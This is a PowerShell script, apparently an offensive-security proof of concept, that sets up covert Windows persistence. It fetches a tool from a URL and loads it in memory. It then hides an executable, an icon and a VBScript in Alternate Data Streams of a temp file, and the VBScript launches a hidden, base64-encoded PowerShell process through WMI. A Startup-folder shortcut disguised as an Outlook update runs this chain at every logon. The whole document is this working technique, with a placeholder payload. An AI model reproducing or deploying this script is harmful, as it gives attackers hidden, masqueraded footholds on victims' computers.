Create a shortcut in Startup Folder with a custom icon. It calls a .VBS which calls a .EXE, both stored using Alternate Data Streams in a .TMP file

persistence_startupfolder_ads.ps1

$Dir = "$($env:USERPROFILE)\Appdata\Local\temp"
$File = "$($env:COMPUTERNAME).tmp"
$ExeFile = "calc.exe"
$Url = "http://127.0.0.1:80"
$IcoFile = "microsoft-outlook.ico"
$SharpADS = "SharpADS.exe"
$ADSexe = "ADS.exe"
$ADSico = "ADS.ico"
$ADSvbs = "ADS.vbs"
$LnkFile = "OutlookUpdate.lnk"

## Create .TMP file
cmd /c "echo Updating file... [OK] > ""$Dir\$File"""

## Load SharpADS in memory
$bytes = (New-Object System.Net.WebClient).DownloadData("$Url/$SharpADS")
$assembly = [System.Reflection.Assembly]::Load($bytes)
$entryPointMethod = $assembly.GetTypes().Where({ $_.Name -eq 'Program' }, 'First').GetMethod('Main', [Reflection.BindingFlags] 'Static, Public, NonPublic')
$entryPointMethod.Invoke($null, (, [string[]] ('clear', "$Dir\$File")))

## Save .ICON as ADS
$entryPointMethod.Invoke($null, (, [string[]] ('write', "$Dir\$File","$ADSico","$Url/$IcoFile")))

## Save .EXE as ADS
$entryPointMethod.Invoke($null, (, [string[]] ('write', "$Dir\$File","$ADSexe","$Url/$ExeFile")))

## VBS as ADS
$B64Path = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes("wmic process call create '""$Dir\$File`:$ADSexe""'"))
$VBScontent = "Const HIDDEN_WINDOW = 0 `nstrComputer = ""."" `nSet objWMIService = GetObject(""winmgmts:"" & ""{impersonationLevel=impersonate}!\\"" & strComputer & ""\root\cimv2"") `nSet objStartup = objWMIService.Get(""Win32_ProcessStartup"") `nSet objConfig = objStartup.SpawnInstance_ `nobjConfig.ShowWindow = HIDDEN_WINDOW `nSet objProcess = GetObject(""winmgmts:root\cimv2:Win32_Process"") `nerrReturn = objProcess.Create( ""powershell -e $B64Path"", null, objConfig, intProcessID)"
$entryPointMethod.Invoke($null, (, [string[]] ('write', "$Dir\$File","$ADSvbs",$VBScontent)))

## Create .LNK
$WshShell = New-Object -comObject WScript.Shell
$Shortcut = $WshShell.CreateShortcut("$($env:USERPROFILE)\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$LnkFile")
### Shortcut will execute cscript $Dir\$File:ADS.vbs
$Shortcut.TargetPath = "cscript"
$Shortcut.Arguments = "$Dir\$File`:$ADSvbs"
#### $Shortcut.TargetPath = "wmic"
#### $Shortcut.Arguments = "process call create $Dir\$File`:$ADSexe"
$Shortcut.IconLocation = "$Dir\$File`:$ADSico"
$Shortcut.Save()

## Check file and ADS values
echo "File created in path $Dir\$File"
Get-Item -Stream * $Dir\$File | select Stream,Length